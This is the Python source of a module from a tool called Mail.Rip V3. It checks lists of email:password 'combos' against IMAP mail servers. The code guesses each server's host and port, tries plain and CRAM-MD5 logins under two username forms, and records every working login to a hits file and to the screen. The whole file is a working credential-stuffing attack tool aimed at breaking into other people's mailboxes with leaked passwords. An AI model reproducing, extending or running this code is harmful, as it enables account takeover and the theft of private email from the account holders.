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inc_attackimap.py
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inc_attackimap.py
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#!/usr/local/opt/python@3.8/bin/python3
# -*- coding: utf-8 -*-
__author__ = 'DrPython3'
__date__ = '2021-12-05'
__version__ = 'BETA(1.1)'
__contact__ = 'https://github.com/DrPython3'
'''
---------------------------------------------
Functions for Checking Mailpass Combos (IMAP)
---------------------------------------------
Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
'''
# [IMPORTS]
# ---------
import sys
import ssl
import socket
import imaplib
import json
from inc_etc import result
# [VARIABLES AND OTHER STUFF]
# ---------------------------
try:
# load IMAP lists and dictionary from JSON files:
with open('inc_imapdomains.json') as inc_imapdomains:
load_imapdomains = json.load(inc_imapdomains)
imap_domains = (load_imapdomains['imapdomains'])
with open('inc_imapports.json') as inc_imapports:
load_imapports = json.load(inc_imapports)
imap_ports = (load_imapports['imapports'])
with open('inc_imapservices.json') as inc_imapservices:
load_imapservices = json.load(inc_imapservices)
imap_services = (load_imapservices['imapservices'])
except:
# on errors, set empty lists and dictionary:
imap_domains = []
imap_ports = []
imap_services = {}
# [FUNCTIONS]
# -----------
def imapchecker(default_timeout, target):
'''
Main checker function (IMAP).
:param float default_timeout: connection timeout set by user
:param str target: emailpass combo to check
:return: True (valid login), False (login not valid)
'''
# start the checking:
try:
# set variables and stuff:
sslcontext = ssl.create_default_context()
# because imaplib does not support timeout, socket here:
socket.setdefaulttimeout(float(default_timeout))
output_hits = str('imap_valid')
output_checked = str('imap_checked')
target_email = str('')
target_user = str('')
target_password = str('')
target_host = str('')
target_port = int(0)
service_info = str('')
service_found = False
connection_ok = False
md5_login = False
login_valid = False
checker_result = False
# included lists and dictionary for IMAP checker:
global imap_domains
global imap_ports
global imap_services
# prepare target information:
new_target = str(str(target).replace('\n', ''))
target_email, target_password = new_target.split(':')
target_user = str(target_email)
# try to get host and port from dictionary:
try:
service_info = str(imap_services[str(target_email.split('@')[1])])
target_host = str(service_info.split(':')[0])
target_port = int(service_info.split(':')[1])
# declare service information founnd:
service_found = True
# if previous step fails, search host and port using common values:
except:
pass
# establish connection to host (details found in imap_services):
if service_found == True:
try:
# SSL connection:
if int(target_port) == int(993):
imap_connection = imaplib.IMAP4_SSL(
host=str(target_host),
port=int(target_port),
ssl_context=sslcontext
)
# declare connection established:
connection_ok = True
# regular connection:
else:
imap_connection = imaplib.IMAP4(
host=str(target_host),
port=int(target_port)
)
# TLS:
try:
imap_connection.starttls(
ssl_context=sslcontext
)
except:
pass
# declare connection established:
connection_ok = True
except:
pass
# if no connection established, try with common values:
if connection_ok == False:
for subdomain in imap_domains:
test_host = str(str(subdomain) + str(target_email.split('@')[1]).lower())
for next_port in imap_ports:
try:
# SSL connection:
if int(next_port) == int(993):
imap_connection = imaplib.IMAP4_SSL(
host=str(test_host),
port=int(next_port),
ssl_context=sslcontext
)
# set variables to found host:
target_host = str(test_host)
target_port = int(next_port)
# declare connection established:
connection_ok = True
# regular connection:
else:
imap_connection = imaplib.IMAP4(
host=str(test_host),
port=int(next_port)
)
# TLS:
try:
imap_connection.starttls(
ssl_context=sslcontext
)
except:
pass
# set variables to found host:
target_host = str(test_host)
target_port = int(next_port)
# declare connection established:
connection_ok = True
break
except:
continue
if connection_ok == True:
break
else:
continue
# test login credentials using established connection:
if connection_ok == True:
try:
# MD5 authentification:
if 'AUTH=CRAM-MD5' in imap_connection.capabilities:
md5_login = True
# check login credentials using CRAM-MD5:
try:
login_response, login_message = imap_connection.login_cram_md5(
user=str(target_user),
password=str(target_password)
)
if str('OK') in login_response:
# declare login valid:
login_valid = True
# on errors try login with user ID from email:
except:
try:
target_user = str(target_email.split('@')[0])
login_response, login_message = imap_connection.login_cram_md5(
user=str(target_user),
password=str(target_password)
)
if str('OK') in login_response:
# declare login valid:
login_valid = True
except:
result(output_checked, str(f'{new_target};result=md5-login failed'))
else:
pass
except:
pass
if md5_login == False:
# reegular login, no CRAM-MD5:
# login with user = email:
try:
login_response, login_message = imap_connection.login(
user=str(target_user),
password=str(target_password)
)
if str('OK') in login_response:
# declare login valid:
login_valid = True
# on errors try login with user ID from email:
except:
try:
target_user = str(target_email.split('@')[0])
login_response, login_message = imap_connection.login(
user=str(target_user),
password=str(target_password)
)
if str('OK') in login_response:
# declare login valid:
login_valid = True
except:
result(output_checked, str(f'{new_target};result=login failed'))
# no connection established, write log for target:
else:
result(output_checked, str(f'{new_target};result=no connection'))
# TODO: probably change to select method ...
# with valid login, try to list mailboxes:
if login_valid == True:
try:
list_response, mailbox_list = imap_connection.list()
if str('OK') in list_response:
checker_result = True
result(output_checked, str(f'{new_target};result=login valid, listing mailboxes ok'))
else:
result(output_checked, str(f'{new_target}:result=login valid, listing mailboxes failed'))
except:
pass
try:
# TODO: in case of using select method above, send "close" first ...
imap_connection.logout()
except:
pass
if checker_result == True or login_valid == True:
result_output = str(f'email={str(target_email)}, host={str(target_host)}:{str(target_port)}, login={str(target_user)}:{str(target_password)}')
result(output_hits, result_output)
# show found login on screen:
print(f'[VALID] {result_output}')
return True
else:
return False
# on any errors while checking, write log before exit:
except:
result(output_checked, str(f'{new_target};result=check failed'))
return False
# DrPython3 (C) 2021 @ GitHub.com